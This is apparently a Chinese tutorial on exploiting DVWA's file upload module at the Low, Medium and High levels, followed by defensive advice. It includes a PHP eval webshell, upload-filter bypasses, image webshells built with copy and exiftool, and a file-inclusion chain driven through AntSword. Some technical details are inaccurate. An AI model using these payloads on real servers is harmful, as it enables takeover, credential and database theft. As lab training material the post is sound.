DVWA文件上传漏洞实战:从Low到High级别攻防与防御策略
1. 项目概述与核心价值
最近在带新人做Web安全入门练习,发现很多朋友对“文件上传漏洞”这个概念理解得比较模糊,总觉得它很高深。其实,这个漏洞的原理非常直接,就是网站允许用户上传文件,但没有对文件类型、内容做严格检查,导致攻击者能把恶意脚本(比如Webshell)传上去,从而控制服务器。DVWA(Damn Vulnerable Web Application)这个靶场,就是用来模拟这种漏洞环境的绝佳工具,它把安全级别分成了Low、Medium、High,让我们能一步步理解防御是如何层层加码的。
今天要聊的,就是围绕DVWA的文件上传模块,完成一次从漏洞利用到权限获取的完整实战。核心路径就三步:首先,在DVWA里找到一个能上传文件的地方;然后,想办法把我们精心准备的一句话木马(一个超小的PHP脚本)传上去;最后,用中国蚁剑(AntSword)这个图形化工具去连接这个木马,获得一个Webshell管理界面。听起来是不是有点像“特洛伊木马”?原理确实类似,只不过我们是在获得授权、绝对安全的环境(自己的靶场)里进行学习。
这整个过程的价值,远不止于“拿到一个Shell”。对于安全测试人员来说,它能让你深刻理解黑名单过滤、白名单过滤、MIME类型检查、文件内容校验等防御机制是如何被绕过的。对于开发者而言,你能从攻击者的视角,看清自己写的上传功能到底哪里是薄弱环节,从而知道该怎么写更安全的代码。即使你只是个对网络安全感兴趣的新手,跟着走一遍,也能对“漏洞利用”有个非常直观和感性的认识,这比读十篇理论文章都管用。
2. 环境准备与靶场搭建
2.1 DVWA靶场部署详解
DVWA的部署是第一步,也是最容易踩坑的一步。很多人卡在安装上,其实核心就是解决PHP环境、Web服务器和数据库的兼容问题。我推荐使用集成环境,能省去大量配置时间。对于Windows用户,XAMPP或PHPStudy是首选;macOS用户可以用MAMP;Linux用户(比如用Kali)则通常自带Apache和PHP,手动配置一下就行。
这里以PHPStudy(Windows)为例,讲一下关键步骤和避坑点。首先,去官网下载最新版的PHPStudy,安装路径不要有中文和空格,比如D:\phpstudy_pro就很好。安装完成后,启动主界面,点击“启动”按钮,确保Apache和MySQL服务都亮起绿灯。接下来,去DVWA的GitHub仓库(搜索“DVWA GitHub”)下载源码,将解压后的整个DVWA-master文件夹,复制到PHPStudy的网站根目录下。这个根目录的路径通常在PHPStudy安装目录\WWW\下。所以,最终DVWA的访问路径会是D:\phpstudy_pro\WWW\DVWA-master。
复制过去后,重命名config/config.inc.php.dist文件为config.inc.php,然后用记事本或代码编辑器打开它。找到数据库配置部分,一般长这样:
$_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'root'; $_DVWA[ 'db_password' ] = 'p@ssw0rd';你需要把db_password改成你PHPStudy里MySQL的密码。PHPStudy默认的MySQL密码通常是root,但新版也可能为空。你可以在PHPStudy面板的“MySQL管理器”里查看或修改密码。改好后保存。
现在打开浏览器,访问http://localhost/DVWA-master/setup.php。这个页面会做两件重要的事:一是检查你的PHP环境是否满足要求(比如allow_url_include等安全配置是否过于宽松——这对DVWA运行是必需的);二是帮你创建数据库。点击页面下方的“Create / Reset Database”按钮。如果一切顺利,你会看到绿色的成功提示。如果出现连接数据库失败的错误,九成是上一步的密码没改对,回去仔细核对。
注意:PHPStudy有时会占用80端口,如果启动失败,可能是端口被其他程序(如IIS、迅雷)占用。可以在PHPStudy面板的“设置”里修改Apache的端口,比如改为8080,那么访问地址就变成
http://localhost:8080/DVWA-master。
创建数据库成功后,就可以访问登录页面http://localhost/DVWA-master/login.php。默认的账号密码是admin/password。登录后,在左侧找到“DVWA Security”菜单,将安全级别设置为“Low”。这是我们实战的起点,从最无防护的环境开始理解漏洞本质。
2.2 攻击工具:一句话木马与蚁剑
工欲善其事,必先利其器。我们这次实战主要用两个“武器”:一句话木马和蚁剑。
一句话木马,本质上是一个极简的Webshell。它通常只有一行或几行代码,核心功能是接收攻击者传递的参数,并在服务器上执行相应的命令。最常见的PHP一句话木马长这样:
<?php @eval($_POST['cmd']);?>这行代码拆解开来很有意思:<?php ?>是PHP标签。@符号是错误控制运算符,即使执行出错也不显示警告,起到一定的隐蔽作用。eval()是PHP里一个非常危险的函数,它把字符串当作PHP代码来执行。$_POST[‘cmd’]则是接收通过POST请求传递过来的、名为cmd的参数。所以,当攻击者向这个脚本发送cmd=system(‘whoami’);时,服务器就会执行system(‘whoami’)命令,并将结果返回。你可以把它想象成一个埋在服务器上的“遥控炸弹接收器”,我们通过蚁剑发送的指令,就是引爆不同功能的“遥控信号”。
中国蚁剑(AntSword),则是一个图形化的Webshell管理工具。你可以把它理解为“遥控炸弹”的“豪华遥控器”。它底层基于Node.js,通过图形界面封装了与Webshell的复杂通信。我们不需要手动去构造那些POST请求,只需要在蚁剑里填写Webshell的地址(即我们上传的一句话木马文件URL)和连接密码(即上面$_POST[‘cmd’]里的cmd这个键名),它就能提供一个类似文件管理器的界面,让我们可以方便地浏览服务器目录、上传下载文件、执行命令、甚至操作数据库。
蚁剑的安装很简单。去GitHub搜索“AntSword”项目,在Release页面下载对应操作系统的安装包。Windows下就是一个exe文件,安装后打开。首次运行,你需要创建一个“数据目录”来保存你的连接配置,这个目录自己选个地方放好就行。然后主界面空空如也,你需要右键点击空白处,选择“添加数据”。这里就是配置连接我们木马的地方。
3. 漏洞实战:Low安全级别攻防
3.1 Low级别漏洞原理与利用
将DVWA安全级别调到Low后,进入“File Upload”模块。Low级别的代码几乎没有任何防护,它的核心逻辑可能就是简单判断一下HTTP POST请求,然后就把文件移动到上传目录。我们可以直接查看DVWA的源码(位于vulnerabilities/upload/source/low.php)来验证。通常,它可能只包含类似下面的代码:
if( isset( $_POST[ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { echo '<pre>上传失败。</pre>'; } else { echo "<pre>{$target_path} 上传成功!</pre>"; } }这段代码没有任何对文件扩展名、类型的检查。basename()函数只是为了防止路径遍历,但对我们上传.php文件毫无阻碍。
实战开始。首先,我们制作木马文件。新建一个文本文件,将上面那句<?php @eval($_POST['cmd']);?>写进去,然后另存为shell.php。注意,保存时“保存类型”要选“所有文件(.)”,否则可能会被自动保存为shell.php.txt。
回到DVWA的File Upload页面,点击“浏览”,选择我们刚保存的shell.php,然后点击“Upload”。如果成功,页面会显示文件保存的路径,例如.../hackable/uploads/shell.php。记住这个路径,我们等下需要拼接出完整的URL。假设你的DVWA访问地址是http://localhost/DVWA-master,那么木马的完整访问URL就是http://localhost/DVWA-master/hackable/uploads/shell.php。
现在打开蚁剑。右键添加一个新数据:
- URL地址:填写刚才得到的完整木马URL,即
http://localhost/DVWA-master/hackable/uploads/shell.php - 连接密码:填写
cmd(这就是我们木马里$_POST['cmd']的键名) - 编码器:默认选择
default(base64)即可,蚁剑会自动对通信数据进行编码以绕过一些简单的WAF或IDS检查。 - 其他选项保持默认,点击“添加”。
然后双击这个新添加的记录。如果一切配置正确,蚁剑左下角会显示“连接成功”,右侧会打开一个文件管理窗口,里面展示的就是服务器上hackable/uploads/目录的内容,你应该能看到shell.php本身。至此,你已经完全控制了服务器(在这个靶场目录下)。你可以尝试右键点击空白处,选择“打开终端”,输入whoami或ipconfig等命令,看看服务器的返回信息。
实操心得:在Low级别,整个过程顺畅得令人“失望”,但这正是为了让我们理解漏洞的原始形态。很多老旧系统、内部测试系统,甚至一些匆忙上线的新系统,都可能存在这种“裸奔”的上传点。作为测试人员,遇到任何上传功能,第一步就是尝试传一个
.php文件,往往会有“惊喜”。
3.2 蚁剑连接与基础权限获取
成功连接蚁剑后,我们获得的这个界面,就是一个功能强大的Webshell管理面板。我们来熟悉几个最常用的功能,理解我们获得了什么样的权限。
文件管理:这是最直观的功能。右侧的界面就像Windows的资源管理器。你可以看到服务器上的目录结构。在DVWA的Low级别下,我们通常被限制在hackable/uploads/目录,这是因为Web服务器进程(如Apache的www-data用户或IIS的IUSR用户)的权限限制。你可以尝试切换到其他目录,比如../../,看看能否访问到网站根目录甚至系统目录。这取决于服务器配置。你可以在这里进行上传(把你的工具传上去)、下载(窃取数据)、删除、重命名等所有文件操作。
虚拟终端:这是执行系统命令的地方。点击上方菜单栏的“终端”图标或右键选择“打开终端”,会弹出一个命令行窗口。你可以在这里输入操作系统的命令。在Windows靶场上,你可以试试dir、type config.inc.php(查看DVWA配置文件,注意路径);在Linux/Kali靶场上,可以试试ls -la、pwd、cat /etc/passwd。执行whoami命令可以查看当前Web服务运行的用户身份,这个身份决定了你的权限范围。通常这个权限不高,但足以读取网站源码、配置文件(可能包含数据库密码),为下一步提权或横向移动打下基础。
数据库管理:如果蚁剑检测到常见的数据库配置(如MySQL),它可能会提供数据库管理功能。你可以尝试执行SQL语句,比如select * from dvwa.users;来查看DVWA里的用户表内容。这演示了在获取Webshell后,如何进一步窃取数据库中的敏感数据。
信息收集:在连接成功时,蚁剑通常会自动收集一些服务器信息,如操作系统、PHP版本、服务器软件等。你也可以通过终端命令进行更详细的信息收集,例如在Linux下使用uname -a,在Windows下使用systeminfo。
注意事项:在真实环境中,这些操作都会在目标服务器的访问日志、错误日志中留下大量记录。因此,渗透测试中在获取Webshell后,通常会进行日志清理(需谨慎,可能触发告警)或使用更隐蔽的内存Webshell。但在DVWA学习阶段,我们关注的是漏洞利用本身,可以忽略这些隐蔽性技巧。
4. 中级挑战:Medium安全级别绕过
4.1 Medium级别防御机制分析
将DVWA安全级别切换到Medium,再次查看“File Upload”页面的源码(medium.php)。你会发现代码中增加了防御措施。一个典型的Medium级别防御代码如下:
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // 检查文件扩展名 if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) ) { // ... 通过检查,移动文件 } else { // 拒绝上传 }这段代码做了两件事:
- 黑名单过滤扩展名:它只允许扩展名为
jpg,jpeg,png的文件上传。注意,它用的是“白名单”思维,但实现上是“只允许这几种”,本质上是一个白名单。不过很多教程和实际代码中,Medium级别常用的是“黑名单”,即禁止php,php2,php3,phtml等。我们这里以白名单为例讲解,原理相通。 - 文件大小限制:文件大小必须小于100KB。
现在,直接上传shell.php肯定会被拒绝。我们需要想办法绕过这个扩展名检查。
4.2 绕过技巧:前端修改、大小写与双写
绕过这类检查,有几种经典的思路:
方法一:修改文件扩展名(前端绕过)这是最简单粗暴,但有时也有效的方法。既然服务器检查扩展名,我们就传一个它允许的扩展名。将我们的木马文件shell.php改名为shell.jpg。然后尝试上传。上传可能会成功,因为扩展名通过了检查。但是,服务器上的Apache或Nginx在解释文件时,是根据文件扩展名来决定如何处理它的。一个.jpg文件,Web服务器会把它当作图片来处理,直接输出其二进制内容,而不会去执行其中的PHP代码。所以,虽然文件传上去了,但当我们用蚁剑去连接http://.../uploads/shell.jpg时,服务器不会执行PHP,蚁剑也就无法连接。这种方法通常需要结合其他漏洞(如文件包含漏洞)才能利用,单独使用无效。
方法二:大小写绕过如果服务器的检查代码写得不够严谨,没有使用strtolower()统一将扩展名转为小写再比对,那么它可能只是在检查字符串是否等于"php"。这时,我们可以上传名为shell.Php、shell.PHp、shell.pHp甚至shell.PHP的文件。在某些系统(尤其是Windows服务器)上,文件系统不区分大小写,shell.PHP和shell.php被认为是同一个文件,且都能被PHP解析器执行。但在Linux系统上,文件系统是区分大小写的,shell.PHP是一个不同的文件,不过只要Web服务器配置了.PHP扩展名也能被PHP解析,那么它依然可以执行。关键点在于检查逻辑是否忽略大小写。在DVWA的Medium级别(假设是黑名单且未转小写),可以尝试此方法。
方法三:双写扩展名绕过这是一种针对不严谨的字符串删除过滤的绕过方式。假设服务器的防御逻辑是:发现文件名中有.php就把它删掉,然后再检查。例如,上传文件shell.pphphp,服务器删除中间的php后,文件名变成shell.php,恰好通过了检查。或者,代码可能只进行一次替换。例如,我们上传shell.p.phphp,代码删除php后变成shell.p.hp,可能就不在黑名单内了。这需要根据具体的过滤代码来构造Payload。在DVWA的某些版本或自定义代码中,可能存在这种过滤。
方法四:利用解析特性(.php5, .phtml等)如果服务器的黑名单只列出了.php,但没有列出其他也能被PHP解析的扩展名,如.php3,.php4,.php5,.phtml,.phps等,那么我们可以直接上传shell.php5。这取决于服务器PHP的配置(在php.ini中,engine和AddType等指令)。例如,如果配置了AddType application/x-httpd-php .php .php5 .phtml,那么.php5文件也会被当作PHP执行。
方法五:路径截断(已过时,但需了解)在旧版本的PHP(<5.3.4)中,存在一个空字符(%00)截断漏洞。上传的文件名可以是shell.jpg%00.php。当PHP代码使用$_FILES[‘uploaded’][‘name’]获取文件名时,会在%00处截断,认为文件是shell.jpg,从而通过扩展名检查。但在保存文件时,某些底层函数可能将完整的shell.jpg%00.php作为文件名,而文件系统在处理时,%00可能被解释为空字符,导致实际创建的文件名为shell.jpg,但内容却是PHP代码。注意:此方法在现代PHP环境中已基本失效,但作为历史知识需要了解。
对于DVWA Medium级别,最可能直接生效的方法是方法二(大小写)或方法四(其他PHP扩展名),具体取决于其源码实现。你需要查看medium.php的源码来确定它具体的过滤规则。假设它用的是黑名单且未转小写,那么上传shell.pHp即可绕过。
4.3 实战绕过与蚁剑连接复现
假设我们查看DVWA Medium源码,发现其黑名单为:array( ‘.php’, ‘.php5’, ‘.php4’, ‘.php3’, ‘.phtml’, ‘.phps’),并且使用了strtolower()处理。那么上述方法二、四就都失效了。
这时,我们需要更巧妙地利用MIME类型检查的缺陷。Medium级别的代码可能还会检查$_FILES[‘uploaded’][‘type’],即浏览器提供的MIME类型。对于JPEG图片,这个值是image/jpeg;对于PNG图片,是image/png。服务器代码可能只允许这些类型。
绕过方法很简单:使用Burp Suite等代理工具拦截上传请求,修改MIME类型。
- 首先,我们准备一个真正的图片文件,比如
test.jpg。同时,将一句话木马写入一个文本文件shell.php。 - 打开浏览器开发者工具(F12)或使用Burp Suite,开启代理拦截。
- 在DVWA页面,选择
test.jpg进行上传,但在点击Upload前,确保拦截已开启。 - 拦截到POST请求后,找到请求体(body)中文件上传的部分。它看起来像这样:
-----------------------------1234567890 Content-Disposition: form-data; name="uploaded"; filename="test.jpg" Content-Type: image/jpeg (这里是图片的二进制数据) - 我们需要做的是:将
filename="test.jpg"修改为filename="shell.php”。同时,为了确保MIME类型检查通过,我们保留Content-Type: image/jpeg这一行。也就是说,我们告诉服务器:“我上传的是一个叫shell.php的文件,但它的类型是JPEG图片”。如果服务器只检查Content-Type而不严格校验文件内容与类型是否匹配,那么它就会因为Content-Type是image/jpeg而放行,但保存文件时却使用了我们提供的文件名shell.php。 - 修改完成后,放行请求。
如果服务器代码逻辑是“允许MIME类型为image/jpeg/png的文件,并保留原始文件名”,那么我们的shell.php就会被成功上传。随后,我们就可以像在Low级别一样,使用蚁剑连接这个.php文件。
实操心得:Medium级别的绕过核心在于“欺骗”。要么欺骗扩展名检查(用大小写、其他后缀),要么欺骗MIME类型检查。在实际渗透测试中,必须结合对上传点代码的审计(如果可能)或通过模糊测试(Fuzzing)来尝试各种可能的Payload。一个强大的工具如Burp Suite的Intruder模块,可以自动化尝试大量不同的文件名和MIME类型组合。
5. 高级攻防:High安全级别与终极绕过
5.1 High级别防御机制深度解析
将DVWA安全级别调至High,进入文件上传模块。High级别的防御是质的飞跃,它通常采用了一种更可靠的方法:文件内容检查,或者结合了白名单与重命名策略。查看high.php源码,你可能会看到类似以下的代码:
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; // 白名单:只允许jpg, jpeg, png $valid_extensions = array( 'jpg', 'jpeg', 'png' ); // 检查扩展名是否在白名单内 if( !in_array( $uploaded_ext, $valid_extensions ) ) { die( '无效的文件扩展名。' ); } // 检查MIME类型 if( ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && ( $uploaded_size < 100000 ) ) { // 通过初步检查 } else { die( '文件类型或大小不正确。' ); } // 关键步骤:使用getimagesize()进行内容检查 if( getimagesize( $uploaded_tmp ) ) { // 内容检查通过,移动文件 $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; // 可能还会生成随机文件名,如:$target_path .= md5( uniqid() ) . '.'. $uploaded_ext; $target_path .= basename( $uploaded_name ); if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { echo '<pre>上传失败。</pre>'; } else { echo "<pre>{$target_path} 上传成功!</pre>"; } } else { die( '上传的文件不是有效的图片。' ); }这个防御体系非常严密:
- 严格的白名单扩展名检查:只允许
.jpg,.jpeg,.png。 - MIME类型检查:必须为
image/jpeg或image/png。 - 文件内容检查:使用
getimagesize()函数。这个函数会读取文件的头部信息,判断它是否是一个有效的图片文件。如果文件内容不是标准的图片格式,getimagesize()会返回FALSE,上传就会被拒绝。 - (可能存在的)随机重命名:即使文件上传成功,服务器也可能用随机名(如MD5值)保存,使我们无法预测文件的最终访问路径。
面对这种防御,之前所有的绕过扩展名、MIME类型的方法都失效了。因为即使你通过Burp把.php文件的MIME类型改成image/jpeg,getimagesize()函数一读文件内容,发现根本不是图片结构,立刻就会拒绝。
5.2 绕过核心:制作图片木马(图片Webshell)
要绕过getimagesize(),我们必须让文件“看起来”是个图片,但同时又能被PHP解析。这就是“图片木马”或“图片Webshell”的概念。有两种主流方法:
方法一:文件合并(追加方式)这是最简单的方法。将一个真实的图片文件(如normal.jpg)和一个PHP木马文件(shell.php)简单地合并在一起。在Windows命令行下可以使用copy命令:
copy /b normal.jpg + shell.php webshell.jpg这个命令将normal.jpg和shell.php的二进制内容按顺序拼接,生成一个新文件webshell.jpg。当服务器用getimagesize()检查时,它读取文件开头部分,发现是标准的JPEG文件头(FF D8 FF E0),于是认为这是一个合法的图片,检查通过。文件被上传后,保存在服务器上的名字可能是webshell.jpg。但是,如何让服务器执行隐藏在图片后面的PHP代码呢?这需要配合另一个漏洞——文件包含漏洞(LFI)。如果网站存在文件包含漏洞,允许包含上传目录下的图片文件,那么当包含webshell.jpg时,PHP解释器会读取整个文件内容。由于PHP解释器只执行<?php ... ?>标签内的代码,它会忽略图片部分的二进制乱码,直到遇到我们的木马代码并执行它。在DVWA中,就存在这样的文件包含漏洞模块(File Inclusion)。因此,High级别的文件上传漏洞利用,往往需要结合其他漏洞。
方法二:利用图片注释/EXIF等信息嵌入代码更隐蔽的方法是将PHP代码写入图片文件的元数据中,例如JPEG的注释(COM段)或EXIF信息。可以使用exiftool这样的工具。
- 准备一个正常图片
normal.jpg。 - 在命令行执行:
exiftool -Comment='<?php @eval($_POST[“cmd”]); ?>’ normal.jpg - 这会将一句话木马写入图片的Comment字段。生成的新文件可能叫
normal.jpg_original,而原文件会被备份。我们可以将修改后的文件重命名为webshell.jpg。 用getimagesize()检查这个文件,它依然是一个合法的图片,因为代码只是写入了不影响图片结构数据的注释区域。同样,要执行这段代码,也需要借助文件包含漏洞。当PHP包含此图片时,整个文件内容被读入,<?php ... ?>标签被识别并执行。
5.3 结合文件包含漏洞完成攻击链
在DVWA中,要完成High级别的文件上传利用,必须借助“File Inclusion”模块。步骤如下:
- 制作图片木马:使用上述方法一或二,制作一个包含一句话木马的图片文件,例如
webshell.jpg。 - 上传图片木马:在High级别的文件上传页面,上传
webshell.jpg。由于它通过了所有检查(扩展名、MIME类型、getimagesize),上传会成功。记下上传后的路径,例如hackable/uploads/webshell.jpg。 - 利用文件包含漏洞:切换到DVWA的“File Inclusion”模块,将安全级别也调为High(High级别的文件包含通常需要绝对路径,但可能允许包含上传目录)。文件包含的URL参数类似
?page=include.php。我们需要构造参数,使其包含我们上传的图片。例如:?page=file:///var/www/html/DVWA/hackable/uploads/webshell.jpg(Linux)或?page=C:\xampp\htdocs\DVWA\hackable\uploads\webshell.jpg(Windows)。注意:High级别的文件包含可能限制了协议(如只允许http://或https://)或需要绝对路径,这需要根据实际错误信息进行调试。一个更通用的方法是使用HTTP协议包含:?page=http://localhost/DVWA/hackable/uploads/webshell.jpg。但这需要allow_url_include在PHP配置中为On(DVWA默认配置通常是开启的)。 - 蚁剑连接:此时,我们不是直接连接图片文件,因为图片文件不会被PHP解析。我们需要连接的是文件包含漏洞的URL,并在参数中指定我们的图片木马。在蚁剑中添加数据时:
- URL地址:填写文件包含漏洞的地址,例如
http://localhost/DVWA-master/vulnerabilities/fi/?page=http://localhost/DVWA-master/hackable/uploads/webshell.jpg - 连接密码:依然是
cmd - 注意,这里整个URL是一个利用文件包含漏洞执行我们图片中PHP代码的入口。蚁剑发出的POST请求(携带
cmd=whoami)会发送到这个URL,该URL会包含我们的图片,图片中的PHP代码被执行,并接收cmd参数,从而实现了Webshell的功能。
- URL地址:填写文件包含漏洞的地址,例如
这个过程清晰地展示了“漏洞组合利用”的思维。单个强大的防御(如High级别的上传检查)可能无法被直接绕过,但结合应用的其他弱点(如文件包含),攻击链依然可以打通。
注意事项:在实际渗透测试中,情况可能更复杂。图片木马可能会被二次处理(如压缩、裁剪)而破坏其中的代码。或者,文件包含漏洞可能无法包含远程URL(
allow_url_include=Off)。因此,需要根据目标环境灵活调整策略,例如寻找可写的目录、利用本地文件包含(LFI)配合日志注入、利用PHP封装协议(php://filter)等高级技巧。
6. 防御策略与安全编程建议
通过从Low到High的实战,我们站在攻击者角度理解了文件上传漏洞的利用方式。现在切换回防御者视角,看看如何构建一个健壮的上传功能。安全的文件上传处理应该是一个多层次、纵深防御的体系。
6.1 服务器端安全配置清单
很多漏洞的根源在于不安全的服务器配置。即使代码写得再好,配置有误也会功亏一篑。
- 禁用危险函数:在PHP的
php.ini中,将eval(),system(),exec(),shell_exec(),passthru()等函数加入到disable_functions列表中。这样即使Webshell被上传,攻击者也无法执行系统命令。 - 关闭不必要的特性:确保
allow_url_fopen和allow_url_include设置为Off,防止远程文件包含和利用。 - 配置open_basedir:通过
open_basedir指令将PHP脚本可访问的文件限制在网站根目录及其必要子目录下,防止目录遍历攻击。 - Web服务器权限:运行Web服务(如Apache, Nginx)的用户权限应尽可能低,遵循最小权限原则。上传目录应单独配置,禁止该目录下的脚本执行权限。例如,在Nginx配置中,可以为上传目录添加
location ~* ^/uploads/.*\.(php|php5)$ { deny all; }来阻止执行PHP。在Apache中,可以在上传目录的.htaccess文件中添加RemoveHandler .php .php5 .phtml或php_flag engine off。 - 文件系统权限:确保上传目录对Web服务用户可写,但不可执行。Linux下通常设置为
755(所有者读写执行,组和其他读执行)或更严格的755,但确保所有者是Web服务用户。
6.2 安全的代码实现方案
代码层面是防御的主战场,必须实施“白名单”原则。
- 文件扩展名白名单:定义一个数组,只允许如
[‘jpg’, ‘jpeg’, ‘png’, ‘gif’, ‘pdf’]等业务确实需要的扩展名。使用pathinfo($filename, PATHINFO_EXTENSION)获取扩展名,并转换为小写后与白名单比对。 - MIME类型检查:不要信任
$_FILES[‘file’][‘type’](来自客户端,可伪造)。应使用服务器的文件信息检测函数,如PHP的mime_content_type()或finfo_file()。$finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $_FILES[‘uploaded’][‘tmp_name’]); finfo_close($finfo); if (!in_array($mime, [‘image/jpeg’, ‘image/png’])) { die(‘Invalid file type.’); } - 文件内容检查:对于图片,使用
getimagesize()或exif_imagetype()确保是真实图片。对于其他类型(如PDF),可以使用相应的解析库进行验证。这能有效防止图片木马。 - 重命名上传文件:不要使用用户提供的文件名。应使用随机生成的文件名(如
md5(uniqid() . mt_rand()))并保留原始扩展名(来自白名单验证后的)。这可以防止覆盖攻击和路径遍历。 - 限制文件大小:在服务器端(PHP的
upload_max_filesize和post_max_size)和应用代码中双重限制。 - 设置上传目录不可执行:如前所述,通过Web服务器配置确保上传目录下的文件无法作为脚本执行。
- 病毒扫描:对于企业级应用,可以在上传后调用杀毒软件引擎(如ClamAV)对文件进行扫描。
- 日志与监控:记录所有上传操作(文件名、大小、IP、时间),并对异常行为(如短时间内大量上传、上传非常规文件类型)进行告警。
6.3 开发者自查清单与运维建议
开发者在实现上传功能时,可以对照以下清单进行自查:
- [ ] 是否使用了扩展名白名单?(而非黑名单)
- [ ] 是否在服务器端验证了文件的真实MIME类型?
- [ ] 是否对图片等特定文件进行了内容验证?
- [ ] 上传的文件是否被重命名为随机名称?
- [ ] 上传目录是否配置了禁止脚本执行?
- [ ] 是否限制了单个文件和总上传大小?
- [ ] 错误信息是否过于详细?(避免泄露物理路径)
- [ ] 是否对上传功能进行了充分的渗透测试?(包括使用Burp Suite等工具进行模糊测试)
对于运维人员:
- 定期审计服务器上上传目录中的文件,查看是否有可疑文件。
- 保持Web服务器、PHP、数据库等中间件版本更新,及时修补已知漏洞。
- 使用WAF(Web应用防火墙)等设备,对文件上传等危险操作进行行为建模和异常拦截。
文件上传漏洞看似简单,但其防御涉及前端、后端、服务器配置、运维监控等多个层面。通过DVWA的实战,我们不仅学会了攻击方法,更重要的是理解了每一种攻击所对应的防御措施为何有效。这才是安全学习的真正目的:知己知彼,百战不殆。在自家系统里大胆测试,理解每一种漏洞的成因与修复之道,才能在未来构建更安全的网络应用。